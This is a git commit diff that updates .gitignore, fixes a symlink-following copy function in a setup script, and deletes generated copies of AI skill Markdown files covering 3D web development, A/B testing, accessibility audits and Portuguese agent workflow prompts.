chore: remove redundant files, fix app:setup symlinks
- Remove antigravity-awesome-skills-5.9.0.tgz (npm pack artifact) - Remove .DS_Store from tracking - Stop tracking web-app/public/skills and skills.json (generated by app:setup) - Add .DS_Store, .ruff_cache, *.tgz, web-app/public/skills to .gitignore - Fix setup_web.js: use statSync to follow symlinks (fixes ENOTDIR on CLAUDE.md) Made-with: Cursor
This commit is contained in:
9
.gitignore
vendored
9
.gitignore
vendored
@@ -1,6 +1,11 @@
|
||||
node_modules/
|
||||
__pycache__/
|
||||
.ruff_cache/
|
||||
.worktrees/
|
||||
.DS_Store
|
||||
|
||||
# npm pack artifacts
|
||||
antigravity-awesome-skills-*.tgz
|
||||
|
||||
walkthrough.md
|
||||
.agent/rules/
|
||||
@@ -29,3 +34,7 @@ scripts/*count*.py
|
||||
|
||||
# Optional baseline for legacy JS validator (scripts/validate-skills.js)
|
||||
validation-baseline.json
|
||||
|
||||
# Web app generated assets (from npm run app:setup)
|
||||
web-app/public/skills/
|
||||
web-app/public/skills.json
|
||||
|
||||
Binary file not shown.
@@ -28,16 +28,21 @@ const destSkills = path.join(WEB_APP_PUBLIC, 'skills');
|
||||
|
||||
console.log(`Copying skills directory...`);
|
||||
|
||||
// Recursive copy function
|
||||
// Recursive copy function (follows symlinks to copy resolved content)
|
||||
function copyFolderSync(from, to) {
|
||||
if (!fs.existsSync(to)) fs.mkdirSync(to);
|
||||
if (!fs.existsSync(to)) fs.mkdirSync(to, { recursive: true });
|
||||
|
||||
fs.readdirSync(from).forEach(element => {
|
||||
if (fs.lstatSync(path.join(from, element)).isFile()) {
|
||||
fs.copyFileSync(path.join(from, element), path.join(to, element));
|
||||
} else {
|
||||
copyFolderSync(path.join(from, element), path.join(to, element));
|
||||
const srcPath = path.join(from, element);
|
||||
const destPath = path.join(to, element);
|
||||
const stat = fs.statSync(srcPath); // statSync follows symlinks
|
||||
|
||||
if (stat.isFile()) {
|
||||
fs.copyFileSync(srcPath, destPath);
|
||||
} else if (stat.isDirectory()) {
|
||||
copyFolderSync(srcPath, destPath);
|
||||
}
|
||||
// Skip other types (e.g. sockets, FIFOs)
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
3
web-app/public/skills/.gitignore
vendored
3
web-app/public/skills/.gitignore
vendored
@@ -1,3 +0,0 @@
|
||||
# Local-only: disabled skills for lean configuration
|
||||
# These skills are kept in the repository but disabled locally
|
||||
.disabled/
|
||||
@@ -1,258 +0,0 @@
|
||||
---
|
||||
name: 3d-web-experience
|
||||
description: "Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing ..."
|
||||
source: vibeship-spawner-skills (Apache 2.0)
|
||||
risk: unknown
|
||||
---
|
||||
|
||||
# 3D Web Experience
|
||||
|
||||
**Role**: 3D Web Experience Architect
|
||||
|
||||
You bring the third dimension to the web. You know when 3D enhances
|
||||
and when it's just showing off. You balance visual impact with
|
||||
performance. You make 3D accessible to users who've never touched
|
||||
a 3D app. You create moments of wonder without sacrificing usability.
|
||||
|
||||
## Capabilities
|
||||
|
||||
- Three.js implementation
|
||||
- React Three Fiber
|
||||
- WebGL optimization
|
||||
- 3D model integration
|
||||
- Spline workflows
|
||||
- 3D product configurators
|
||||
- Interactive 3D scenes
|
||||
- 3D performance optimization
|
||||
|
||||
## Patterns
|
||||
|
||||
### 3D Stack Selection
|
||||
|
||||
Choosing the right 3D approach
|
||||
|
||||
**When to use**: When starting a 3D web project
|
||||
|
||||
```python
|
||||
## 3D Stack Selection
|
||||
|
||||
### Options Comparison
|
||||
| Tool | Best For | Learning Curve | Control |
|
||||
|------|----------|----------------|---------|
|
||||
| Spline | Quick prototypes, designers | Low | Medium |
|
||||
| React Three Fiber | React apps, complex scenes | Medium | High |
|
||||
| Three.js vanilla | Max control, non-React | High | Maximum |
|
||||
| Babylon.js | Games, heavy 3D | High | Maximum |
|
||||
|
||||
### Decision Tree
|
||||
```
|
||||
Need quick 3D element?
|
||||
└── Yes → Spline
|
||||
└── No → Continue
|
||||
|
||||
Using React?
|
||||
└── Yes → React Three Fiber
|
||||
└── No → Continue
|
||||
|
||||
Need max performance/control?
|
||||
└── Yes → Three.js vanilla
|
||||
└── No → Spline or R3F
|
||||
```
|
||||
|
||||
### Spline (Fastest Start)
|
||||
```jsx
|
||||
import Spline from '@splinetool/react-spline';
|
||||
|
||||
export default function Scene() {
|
||||
return (
|
||||
<Spline scene="https://prod.spline.design/xxx/scene.splinecode" />
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### React Three Fiber
|
||||
```jsx
|
||||
import { Canvas } from '@react-three/fiber';
|
||||
import { OrbitControls, useGLTF } from '@react-three/drei';
|
||||
|
||||
function Model() {
|
||||
const { scene } = useGLTF('/model.glb');
|
||||
return <primitive object={scene} />;
|
||||
}
|
||||
|
||||
export default function Scene() {
|
||||
return (
|
||||
<Canvas>
|
||||
<ambientLight />
|
||||
<Model />
|
||||
<OrbitControls />
|
||||
</Canvas>
|
||||
);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
### 3D Model Pipeline
|
||||
|
||||
Getting models web-ready
|
||||
|
||||
**When to use**: When preparing 3D assets
|
||||
|
||||
```python
|
||||
## 3D Model Pipeline
|
||||
|
||||
### Format Selection
|
||||
| Format | Use Case | Size |
|
||||
|--------|----------|------|
|
||||
| GLB/GLTF | Standard web 3D | Smallest |
|
||||
| FBX | From 3D software | Large |
|
||||
| OBJ | Simple meshes | Medium |
|
||||
| USDZ | Apple AR | Medium |
|
||||
|
||||
### Optimization Pipeline
|
||||
```
|
||||
1. Model in Blender/etc
|
||||
2. Reduce poly count (< 100K for web)
|
||||
3. Bake textures (combine materials)
|
||||
4. Export as GLB
|
||||
5. Compress with gltf-transform
|
||||
6. Test file size (< 5MB ideal)
|
||||
```
|
||||
|
||||
### GLTF Compression
|
||||
```bash
|
||||
# Install gltf-transform
|
||||
npm install -g @gltf-transform/cli
|
||||
|
||||
# Compress model
|
||||
gltf-transform optimize input.glb output.glb \
|
||||
--compress draco \
|
||||
--texture-compress webp
|
||||
```
|
||||
|
||||
### Loading in R3F
|
||||
```jsx
|
||||
import { useGLTF, useProgress, Html } from '@react-three/drei';
|
||||
import { Suspense } from 'react';
|
||||
|
||||
function Loader() {
|
||||
const { progress } = useProgress();
|
||||
return <Html center>{progress.toFixed(0)}%</Html>;
|
||||
}
|
||||
|
||||
export default function Scene() {
|
||||
return (
|
||||
<Canvas>
|
||||
<Suspense fallback={<Loader />}>
|
||||
<Model />
|
||||
</Suspense>
|
||||
</Canvas>
|
||||
);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
### Scroll-Driven 3D
|
||||
|
||||
3D that responds to scroll
|
||||
|
||||
**When to use**: When integrating 3D with scroll
|
||||
|
||||
```python
|
||||
## Scroll-Driven 3D
|
||||
|
||||
### R3F + Scroll Controls
|
||||
```jsx
|
||||
import { ScrollControls, useScroll } from '@react-three/drei';
|
||||
import { useFrame } from '@react-three/fiber';
|
||||
|
||||
function RotatingModel() {
|
||||
const scroll = useScroll();
|
||||
const ref = useRef();
|
||||
|
||||
useFrame(() => {
|
||||
// Rotate based on scroll position
|
||||
ref.current.rotation.y = scroll.offset * Math.PI * 2;
|
||||
});
|
||||
|
||||
return <mesh ref={ref}>...</mesh>;
|
||||
}
|
||||
|
||||
export default function Scene() {
|
||||
return (
|
||||
<Canvas>
|
||||
<ScrollControls pages={3}>
|
||||
<RotatingModel />
|
||||
</ScrollControls>
|
||||
</Canvas>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### GSAP + Three.js
|
||||
```javascript
|
||||
import gsap from 'gsap';
|
||||
import ScrollTrigger from 'gsap/ScrollTrigger';
|
||||
|
||||
gsap.to(camera.position, {
|
||||
scrollTrigger: {
|
||||
trigger: '.section',
|
||||
scrub: true,
|
||||
},
|
||||
z: 5,
|
||||
y: 2,
|
||||
});
|
||||
```
|
||||
|
||||
### Common Scroll Effects
|
||||
- Camera movement through scene
|
||||
- Model rotation on scroll
|
||||
- Reveal/hide elements
|
||||
- Color/material changes
|
||||
- Exploded view animations
|
||||
```
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
### ❌ 3D For 3D's Sake
|
||||
|
||||
**Why bad**: Slows down the site.
|
||||
Confuses users.
|
||||
Battery drain on mobile.
|
||||
Doesn't help conversion.
|
||||
|
||||
**Instead**: 3D should serve a purpose.
|
||||
Product visualization = good.
|
||||
Random floating shapes = probably not.
|
||||
Ask: would an image work?
|
||||
|
||||
### ❌ Desktop-Only 3D
|
||||
|
||||
**Why bad**: Most traffic is mobile.
|
||||
Kills battery.
|
||||
Crashes on low-end devices.
|
||||
Frustrated users.
|
||||
|
||||
**Instead**: Test on real mobile devices.
|
||||
Reduce quality on mobile.
|
||||
Provide static fallback.
|
||||
Consider disabling 3D on low-end.
|
||||
|
||||
### ❌ No Loading State
|
||||
|
||||
**Why bad**: Users think it's broken.
|
||||
High bounce rate.
|
||||
3D takes time to load.
|
||||
Bad first impression.
|
||||
|
||||
**Instead**: Loading progress indicator.
|
||||
Skeleton/placeholder.
|
||||
Load 3D after page is interactive.
|
||||
Optimize model size.
|
||||
|
||||
## Related Skills
|
||||
|
||||
Works well with: `scroll-experience`, `interactive-portfolio`, `frontend`, `landing-page-design`
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,201 +0,0 @@
|
||||
# Skills Directory
|
||||
|
||||
**Welcome to the skills folder!** This is where all 179+ specialized AI skills live.
|
||||
|
||||
## 🤔 What Are Skills?
|
||||
|
||||
Skills are specialized instruction sets that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
|
||||
|
||||
**Simple analogy:** Just like you might consult different experts (a designer, a security expert, a marketer), skills let your AI become an expert in different areas when you need them.
|
||||
|
||||
---
|
||||
|
||||
## 📂 Folder Structure
|
||||
|
||||
Each skill lives in its own folder with this structure:
|
||||
|
||||
```
|
||||
skills/
|
||||
├── skill-name/ # Individual skill folder
|
||||
│ ├── SKILL.md # Main skill definition (required)
|
||||
│ ├── scripts/ # Helper scripts (optional)
|
||||
│ ├── examples/ # Usage examples (optional)
|
||||
│ └── resources/ # Templates & resources (optional)
|
||||
```
|
||||
|
||||
**Key point:** Only `SKILL.md` is required. Everything else is optional!
|
||||
|
||||
---
|
||||
|
||||
## How to Use Skills
|
||||
|
||||
### Step 1: Make sure skills are installed
|
||||
Skills should be in your `.agent/skills/` directory (or `.claude/skills/`, `.gemini/skills/`, etc.)
|
||||
|
||||
### Step 2: Invoke a skill in your AI chat
|
||||
Use the `@` symbol followed by the skill name:
|
||||
|
||||
```
|
||||
@brainstorming help me design a todo app
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```
|
||||
@stripe-integration add payment processing to my app
|
||||
```
|
||||
|
||||
### Step 3: The AI becomes an expert
|
||||
The AI loads that skill's knowledge and helps you with specialized expertise!
|
||||
|
||||
---
|
||||
|
||||
## Skill Categories
|
||||
|
||||
### Creative & Design
|
||||
Skills for visual design, UI/UX, and artistic creation:
|
||||
- `@algorithmic-art` - Create algorithmic art with p5.js
|
||||
- `@canvas-design` - Design posters and artwork (PNG/PDF output)
|
||||
- `@frontend-design` - Build production-grade frontend interfaces
|
||||
- `@ui-ux-pro-max` - Professional UI/UX design with color, fonts, layouts
|
||||
- `@web-artifacts-builder` - Build modern web apps (React, Tailwind, Shadcn/ui)
|
||||
- `@theme-factory` - Generate themes for documents and presentations
|
||||
- `@brand-guidelines` - Apply Anthropic brand design standards
|
||||
- `@slack-gif-creator` - Create high-quality GIFs for Slack
|
||||
|
||||
### Development & Engineering
|
||||
Skills for coding, testing, debugging, and code review:
|
||||
- `@test-driven-development` - Write tests before implementation (TDD)
|
||||
- `@systematic-debugging` - Debug systematically, not randomly
|
||||
- `@webapp-testing` - Test web apps with Playwright
|
||||
- `@receiving-code-review` - Handle code review feedback properly
|
||||
- `@requesting-code-review` - Request code reviews before merging
|
||||
- `@finishing-a-development-branch` - Complete dev branches (merge, PR, cleanup)
|
||||
- `@subagent-driven-development` - Coordinate multiple AI agents for parallel tasks
|
||||
|
||||
### Documentation & Office
|
||||
Skills for working with documents and office files:
|
||||
- `@doc-coauthoring` - Collaborate on structured documents
|
||||
- `@docx` - Create, edit, and analyze Word documents
|
||||
- `@xlsx` - Work with Excel spreadsheets (formulas, charts)
|
||||
- `@pptx` - Create and modify PowerPoint presentations
|
||||
- `@pdf` - Handle PDFs (extract text, merge, split, fill forms)
|
||||
- `@internal-comms` - Draft internal communications (reports, announcements)
|
||||
- `@notebooklm` - Query Google NotebookLM notebooks
|
||||
|
||||
### Planning & Workflow
|
||||
Skills for task planning and workflow optimization:
|
||||
- `@brainstorming` - Brainstorm and design before coding
|
||||
- `@writing-plans` - Write detailed implementation plans
|
||||
- `@planning-with-files` - File-based planning system (Manus-style)
|
||||
- `@executing-plans` - Execute plans with checkpoints and reviews
|
||||
- `@using-git-worktrees` - Create isolated Git worktrees for parallel work
|
||||
- `@verification-before-completion` - Verify work before claiming completion
|
||||
- `@using-superpowers` - Discover and use advanced skills
|
||||
|
||||
### System Extension
|
||||
Skills for extending AI capabilities:
|
||||
- `@mcp-builder` - Build MCP (Model Context Protocol) servers
|
||||
- `@skill-creator` - Create new skills or update existing ones
|
||||
- `@writing-skills` - Tools for writing and validating skill files
|
||||
- `@dispatching-parallel-agents` - Distribute tasks to multiple agents
|
||||
|
||||
---
|
||||
|
||||
## Finding Skills
|
||||
|
||||
### Method 1: Browse this folder
|
||||
```bash
|
||||
ls skills/
|
||||
```
|
||||
|
||||
### Method 2: Search by keyword
|
||||
```bash
|
||||
ls skills/ | grep "keyword"
|
||||
```
|
||||
|
||||
### Method 3: Check the main README
|
||||
See the [main README](../README.md) for the complete list of all 179+ skills organized by category.
|
||||
|
||||
---
|
||||
|
||||
## 💡 Popular Skills to Try
|
||||
|
||||
**For beginners:**
|
||||
- `@brainstorming` - Design before coding
|
||||
- `@systematic-debugging` - Fix bugs methodically
|
||||
- `@git-pushing` - Commit with good messages
|
||||
|
||||
**For developers:**
|
||||
- `@test-driven-development` - Write tests first
|
||||
- `@react-best-practices` - Modern React patterns
|
||||
- `@senior-fullstack` - Full-stack development
|
||||
|
||||
**For security:**
|
||||
- `@ethical-hacking-methodology` - Security basics
|
||||
- `@burp-suite-testing` - Web app security testing
|
||||
|
||||
---
|
||||
|
||||
## Creating Your Own Skill
|
||||
|
||||
Want to create a new skill? Check out:
|
||||
1. [CONTRIBUTING.md](../CONTRIBUTING.md) - How to contribute
|
||||
2. [docs/SKILL_ANATOMY.md](../docs/SKILL_ANATOMY.md) - Skill structure guide
|
||||
3. `@skill-creator` - Use this skill to create new skills!
|
||||
|
||||
**Basic structure:**
|
||||
```markdown
|
||||
---
|
||||
name: my-skill-name
|
||||
description: "What this skill does"
|
||||
---
|
||||
|
||||
# Skill Title
|
||||
|
||||
## Overview
|
||||
[What this skill does]
|
||||
|
||||
## When to Use
|
||||
- Use when [scenario]
|
||||
|
||||
## Instructions
|
||||
[Step-by-step guide]
|
||||
|
||||
## Examples
|
||||
[Code examples]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Documentation
|
||||
|
||||
- **[Getting Started](../docs/GETTING_STARTED.md)** - Quick start guide
|
||||
- **[Examples](../docs/EXAMPLES.md)** - Real-world usage examples
|
||||
- **[FAQ](../docs/FAQ.md)** - Common questions
|
||||
- **[Visual Guide](../docs/VISUAL_GUIDE.md)** - Diagrams and flowcharts
|
||||
|
||||
---
|
||||
|
||||
## 🌟 Contributing
|
||||
|
||||
Found a skill that needs improvement? Want to add a new skill?
|
||||
|
||||
1. Read [CONTRIBUTING.md](../CONTRIBUTING.md)
|
||||
2. Study existing skills in this folder
|
||||
3. Create your skill following the structure
|
||||
4. Submit a Pull Request
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [Anthropic Skills](https://github.com/anthropic/skills) - Official Anthropic skills
|
||||
- [UI/UX Pro Max Skills](https://github.com/nextlevelbuilder/ui-ux-pro-max-skill) - Design skills
|
||||
- [Superpowers](https://github.com/obra/superpowers) - Original superpowers collection
|
||||
- [Planning with Files](https://github.com/OthmanAdi/planning-with-files) - Planning patterns
|
||||
- [NotebookLM](https://github.com/PleasePrompto/notebooklm-skill) - NotebookLM integration
|
||||
|
||||
---
|
||||
|
||||
**Need help?** Check the [FAQ](../docs/FAQ.md) or open an issue on GitHub!
|
||||
@@ -1,22 +0,0 @@
|
||||
# ROLE: Codebase Research Agent
|
||||
Sua única missão é documentar e explicar a base de código como ela existe hoje.
|
||||
|
||||
## CRITICAL RULES:
|
||||
- NÃO sugira melhorias, refatorações ou mudanças arquiteturais.
|
||||
- NÃO realize análise de causa raiz ou proponha melhorias futuras.
|
||||
- APENAS descreva o que existe, onde existe e como os componentes interagem.
|
||||
- Você é um cartógrafo técnico criando um mapa do sistema atual.
|
||||
|
||||
## STEPS TO FOLLOW:
|
||||
1. **Initial Analysis:** Leia os arquivos mencionados pelo usuário integralmente (SEM limit/offset).
|
||||
2. **Decomposition:** Decompunha a dúvida do usuário em áreas de pesquisa (ex: Rotas, Banco, UI).
|
||||
3. **Execution:** - Localize onde os arquivos e componentes vivem.
|
||||
- Analise COMO o código atual funciona (sem criticar).
|
||||
- Encontre exemplos de padrões existentes para referência.
|
||||
4. **Project State:**
|
||||
- Se projeto NOVO: Pesquise e liste a melhor estrutura de pastas e bibliotecas padrão de mercado para a stack.
|
||||
- Se projeto EXISTENTE: Identifique dívidas técnicas ou padrões que devem ser respeitados.
|
||||
|
||||
## OUTPUT:
|
||||
- Gere o arquivo `docs/prds/prd_current_task.md` com YAML frontmatter (date, topic, tags, status).
|
||||
- **Ação Obrigatória:** Termine com: "Pesquisa concluída. Por favor, dê um `/clear` e carregue `.agente/2-spec.md` para o planejamento."
|
||||
@@ -1,20 +0,0 @@
|
||||
# ROLE: Implementation Planning Agent
|
||||
Você deve criar planos de implementação detalhados e ser cético quanto a requisitos vagos.
|
||||
|
||||
## CRITICAL RULES:
|
||||
- Não escreva o plano de uma vez; valide a estrutura das fases com o usuário.
|
||||
- Cada decisão técnica deve ser tomada antes de finalizar o plano.
|
||||
- O plano deve ser acionável e completo, sem "perguntas abertas".
|
||||
|
||||
## STEPS TO FOLLOW:
|
||||
1. **Context Check:** Leia o `docs/prds/prd_current_task.md` gerado anteriormente.
|
||||
2. **Phasing:** Divida o trabalho em fases incrementais e testáveis.
|
||||
3. **Detailing:** Para cada arquivo afetado, defina:
|
||||
- **Path exato.**
|
||||
- **Ação:** (CRIAR | MODIFICAR | DELETAR).
|
||||
- **Lógica:** Snippets de pseudocódigo ou referências de implementação.
|
||||
4. **Success Criteria:** Defina "Automated Verification" (scripts/testes) e "Manual Verification" (UI/UX).
|
||||
|
||||
## OUTPUT:
|
||||
- Gere o arquivo `docs/specs/spec_current_task.md` seguindo o template de fases.
|
||||
- **Ação Obrigatória:** Termine com: "Spec finalizada. Por favor, dê um `/clear` e carregue `.agente/3-implementation.md` para execução."
|
||||
@@ -1,20 +0,0 @@
|
||||
# ROLE: Implementation Execution Agent
|
||||
Você deve implementar um plano técnico aprovado com precisão cirúrgica.
|
||||
|
||||
## CRITICAL RULES:
|
||||
- Siga a intenção do plano enquanto se adapta à realidade encontrada.
|
||||
- Implemente uma fase COMPLETAMENTE antes de passar para a próxima.
|
||||
- **STOP & THINK:** Se encontrar um erro na Spec ou um mismatch no código, PARE e reporte. Não tente adivinhar.
|
||||
|
||||
## STEPS TO FOLLOW:
|
||||
1. **Sanity Check:** Leia a Spec e o Ticket original. Verifique se o ambiente está limpo.
|
||||
2. **Execution:** Codifique seguindo os padrões de Clean Code e os snippets da Spec.
|
||||
3. **Verification:**
|
||||
- Após cada fase, execute os comandos de "Automated Verification" descritos na Spec.
|
||||
- PAUSE para confirmação manual do usuário após cada fase concluída.
|
||||
4. **Progress:** Atualize os checkboxes (- [x]) no arquivo de Spec conforme avança.
|
||||
|
||||
## OUTPUT:
|
||||
- Código fonte implementado.
|
||||
- Relatório de conclusão de fase com resultados de testes.
|
||||
- **Ação Final:** Pergunte se o usuário deseja realizar testes de regressão ou seguir para a próxima task.
|
||||
@@ -1,237 +0,0 @@
|
||||
---
|
||||
name: ab-test-setup
|
||||
description: "Structured guide for setting up A/B tests with mandatory gates for hypothesis, metrics, and execution readiness."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# A/B Test Setup
|
||||
|
||||
## 1️⃣ Purpose & Scope
|
||||
|
||||
Ensure every A/B test is **valid, rigorous, and safe** before a single line of code is written.
|
||||
|
||||
- Prevents "peeking"
|
||||
- Enforces statistical power
|
||||
- Blocks invalid hypotheses
|
||||
|
||||
---
|
||||
|
||||
## 2️⃣ Pre-Requisites
|
||||
|
||||
You must have:
|
||||
|
||||
- A clear user problem
|
||||
- Access to an analytics source
|
||||
- Roughly estimated traffic volume
|
||||
|
||||
### Hypothesis Quality Checklist
|
||||
|
||||
A valid hypothesis includes:
|
||||
|
||||
- Observation or evidence
|
||||
- Single, specific change
|
||||
- Directional expectation
|
||||
- Defined audience
|
||||
- Measurable success criteria
|
||||
|
||||
---
|
||||
|
||||
### 3️⃣ Hypothesis Lock (Hard Gate)
|
||||
|
||||
Before designing variants or metrics, you MUST:
|
||||
|
||||
- Present the **final hypothesis**
|
||||
- Specify:
|
||||
- Target audience
|
||||
- Primary metric
|
||||
- Expected direction of effect
|
||||
- Minimum Detectable Effect (MDE)
|
||||
|
||||
Ask explicitly:
|
||||
|
||||
> “Is this the final hypothesis we are committing to for this test?”
|
||||
|
||||
**Do NOT proceed until confirmed.**
|
||||
|
||||
---
|
||||
|
||||
### 4️⃣ Assumptions & Validity Check (Mandatory)
|
||||
|
||||
Explicitly list assumptions about:
|
||||
|
||||
- Traffic stability
|
||||
- User independence
|
||||
- Metric reliability
|
||||
- Randomization quality
|
||||
- External factors (seasonality, campaigns, releases)
|
||||
|
||||
If assumptions are weak or violated:
|
||||
|
||||
- Warn the user
|
||||
- Recommend delaying or redesigning the test
|
||||
|
||||
---
|
||||
|
||||
### 5️⃣ Test Type Selection
|
||||
|
||||
Choose the simplest valid test:
|
||||
|
||||
- **A/B Test** – single change, two variants
|
||||
- **A/B/n Test** – multiple variants, higher traffic required
|
||||
- **Multivariate Test (MVT)** – interaction effects, very high traffic
|
||||
- **Split URL Test** – major structural changes
|
||||
|
||||
Default to **A/B** unless there is a clear reason otherwise.
|
||||
|
||||
---
|
||||
|
||||
### 6️⃣ Metrics Definition
|
||||
|
||||
#### Primary Metric (Mandatory)
|
||||
|
||||
- Single metric used to evaluate success
|
||||
- Directly tied to the hypothesis
|
||||
- Pre-defined and frozen before launch
|
||||
|
||||
#### Secondary Metrics
|
||||
|
||||
- Provide context
|
||||
- Explain _why_ results occurred
|
||||
- Must not override the primary metric
|
||||
|
||||
#### Guardrail Metrics
|
||||
|
||||
- Metrics that must not degrade
|
||||
- Used to prevent harmful wins
|
||||
- Trigger test stop if significantly negative
|
||||
|
||||
---
|
||||
|
||||
### 7️⃣ Sample Size & Duration
|
||||
|
||||
Define upfront:
|
||||
|
||||
- Baseline rate
|
||||
- MDE
|
||||
- Significance level (typically 95%)
|
||||
- Statistical power (typically 80%)
|
||||
|
||||
Estimate:
|
||||
|
||||
- Required sample size per variant
|
||||
- Expected test duration
|
||||
|
||||
**Do NOT proceed without a realistic sample size estimate.**
|
||||
|
||||
---
|
||||
|
||||
### 8️⃣ Execution Readiness Gate (Hard Stop)
|
||||
|
||||
You may proceed to implementation **only if all are true**:
|
||||
|
||||
- Hypothesis is locked
|
||||
- Primary metric is frozen
|
||||
- Sample size is calculated
|
||||
- Test duration is defined
|
||||
- Guardrails are set
|
||||
- Tracking is verified
|
||||
|
||||
If any item is missing, stop and resolve it.
|
||||
|
||||
---
|
||||
|
||||
## Running the Test
|
||||
|
||||
### During the Test
|
||||
|
||||
**DO:**
|
||||
|
||||
- Monitor technical health
|
||||
- Document external factors
|
||||
|
||||
**DO NOT:**
|
||||
|
||||
- Stop early due to “good-looking” results
|
||||
- Change variants mid-test
|
||||
- Add new traffic sources
|
||||
- Redefine success criteria
|
||||
|
||||
---
|
||||
|
||||
## Analyzing Results
|
||||
|
||||
### Analysis Discipline
|
||||
|
||||
When interpreting results:
|
||||
|
||||
- Do NOT generalize beyond the tested population
|
||||
- Do NOT claim causality beyond the tested change
|
||||
- Do NOT override guardrail failures
|
||||
- Separate statistical significance from business judgment
|
||||
|
||||
### Interpretation Outcomes
|
||||
|
||||
| Result | Action |
|
||||
| -------------------- | -------------------------------------- |
|
||||
| Significant positive | Consider rollout |
|
||||
| Significant negative | Reject variant, document learning |
|
||||
| Inconclusive | Consider more traffic or bolder change |
|
||||
| Guardrail failure | Do not ship, even if primary wins |
|
||||
|
||||
---
|
||||
|
||||
## Documentation & Learning
|
||||
|
||||
### Test Record (Mandatory)
|
||||
|
||||
Document:
|
||||
|
||||
- Hypothesis
|
||||
- Variants
|
||||
- Metrics
|
||||
- Sample size vs achieved
|
||||
- Results
|
||||
- Decision
|
||||
- Learnings
|
||||
- Follow-up ideas
|
||||
|
||||
Store records in a shared, searchable location to avoid repeated failures.
|
||||
|
||||
---
|
||||
|
||||
## Refusal Conditions (Safety)
|
||||
|
||||
Refuse to proceed if:
|
||||
|
||||
- Baseline rate is unknown and cannot be estimated
|
||||
- Traffic is insufficient to detect the MDE
|
||||
- Primary metric is undefined
|
||||
- Multiple variables are changed without proper design
|
||||
- Hypothesis cannot be clearly stated
|
||||
|
||||
Explain why and recommend next steps.
|
||||
|
||||
---
|
||||
|
||||
## Key Principles (Non-Negotiable)
|
||||
|
||||
- One hypothesis per test
|
||||
- One primary metric
|
||||
- Commit before launch
|
||||
- No peeking
|
||||
- Learning over winning
|
||||
- Statistical rigor first
|
||||
|
||||
---
|
||||
|
||||
## Final Reminder
|
||||
|
||||
A/B testing is not about proving ideas right.
|
||||
It is about **learning the truth with confidence**.
|
||||
|
||||
If you feel tempted to rush, simplify, or “just try it” —
|
||||
that is the signal to **slow down and re-check the design**.
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,44 +0,0 @@
|
||||
---
|
||||
name: accessibility-compliance-accessibility-audit
|
||||
description: "You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Accessibility Audit and Testing
|
||||
|
||||
You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct comprehensive audits, identify barriers, provide remediation guidance, and ensure digital products are accessible to all users.
|
||||
|
||||
## Use this skill when
|
||||
|
||||
- Auditing web or mobile experiences for WCAG compliance
|
||||
- Identifying accessibility barriers and remediation priorities
|
||||
- Establishing ongoing accessibility testing practices
|
||||
- Preparing compliance evidence for stakeholders
|
||||
|
||||
## Do not use this skill when
|
||||
|
||||
- You only need a general UI design review without accessibility scope
|
||||
- The request is unrelated to user experience or compliance
|
||||
- You cannot access the UI, design artifacts, or content
|
||||
|
||||
## Context
|
||||
|
||||
The user needs to audit and improve accessibility to ensure compliance with WCAG standards and provide an inclusive experience for users with disabilities. Focus on automated testing, manual verification, remediation strategies, and establishing ongoing accessibility practices.
|
||||
|
||||
## Requirements
|
||||
|
||||
$ARGUMENTS
|
||||
|
||||
## Instructions
|
||||
|
||||
- Confirm scope (platforms, WCAG level, target pages, key user journeys).
|
||||
- Run automated scans to collect baseline violations and coverage gaps.
|
||||
- Perform manual checks (keyboard, screen reader, focus order, contrast).
|
||||
- Map findings to WCAG criteria, severity, and user impact.
|
||||
- Provide remediation steps and re-test after fixes.
|
||||
- If detailed procedures are required, open `resources/implementation-playbook.md`.
|
||||
|
||||
## Resources
|
||||
|
||||
- `resources/implementation-playbook.md` for detailed audit steps, tooling, and remediation examples.
|
||||
@@ -1,502 +0,0 @@
|
||||
# Accessibility Audit and Testing Implementation Playbook
|
||||
|
||||
This file contains detailed patterns, checklists, and code samples referenced by the skill.
|
||||
|
||||
## Instructions
|
||||
|
||||
### 1. Automated Testing with axe-core
|
||||
|
||||
```javascript
|
||||
// accessibility-test.js
|
||||
const { AxePuppeteer } = require("@axe-core/puppeteer");
|
||||
const puppeteer = require("puppeteer");
|
||||
|
||||
class AccessibilityAuditor {
|
||||
constructor(options = {}) {
|
||||
this.wcagLevel = options.wcagLevel || "AA";
|
||||
this.viewport = options.viewport || { width: 1920, height: 1080 };
|
||||
}
|
||||
|
||||
async runFullAudit(url) {
|
||||
const browser = await puppeteer.launch();
|
||||
const page = await browser.newPage();
|
||||
await page.setViewport(this.viewport);
|
||||
await page.goto(url, { waitUntil: "networkidle2" });
|
||||
|
||||
const results = await new AxePuppeteer(page)
|
||||
.withTags(["wcag2a", "wcag2aa", "wcag21a", "wcag21aa"])
|
||||
.exclude(".no-a11y-check")
|
||||
.analyze();
|
||||
|
||||
await browser.close();
|
||||
|
||||
return {
|
||||
url,
|
||||
timestamp: new Date().toISOString(),
|
||||
violations: results.violations.map((v) => ({
|
||||
id: v.id,
|
||||
impact: v.impact,
|
||||
description: v.description,
|
||||
help: v.help,
|
||||
helpUrl: v.helpUrl,
|
||||
nodes: v.nodes.map((n) => ({
|
||||
html: n.html,
|
||||
target: n.target,
|
||||
failureSummary: n.failureSummary,
|
||||
})),
|
||||
})),
|
||||
score: this.calculateScore(results),
|
||||
};
|
||||
}
|
||||
|
||||
calculateScore(results) {
|
||||
